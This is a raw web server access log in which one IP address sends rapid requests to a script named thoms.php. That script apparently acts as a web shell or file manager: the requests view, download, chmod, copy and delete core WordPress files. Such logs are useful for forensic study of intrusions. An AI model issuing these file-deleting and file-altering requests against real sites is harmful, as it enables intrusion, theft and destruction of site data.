45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?chmod=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22269 "https://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?dl=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21913 "https://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?dl=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=style-engine.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template-loader.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?dl=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?dl=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cron.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?dl=class-http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?dl=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=atomlib.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22198 "https://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?chmod=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22208 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fgeneral-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fgeneral-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fgeneral-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?del=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-phpass.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?chmod=php-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=php-compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22264 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fwidgets" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=deprecated.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?del=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22248 "https://163.245.207.76:443/thoms.php?del=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:40 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-supports HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fpost-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fregistration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fregistration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?chmod=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fregistration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:41 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
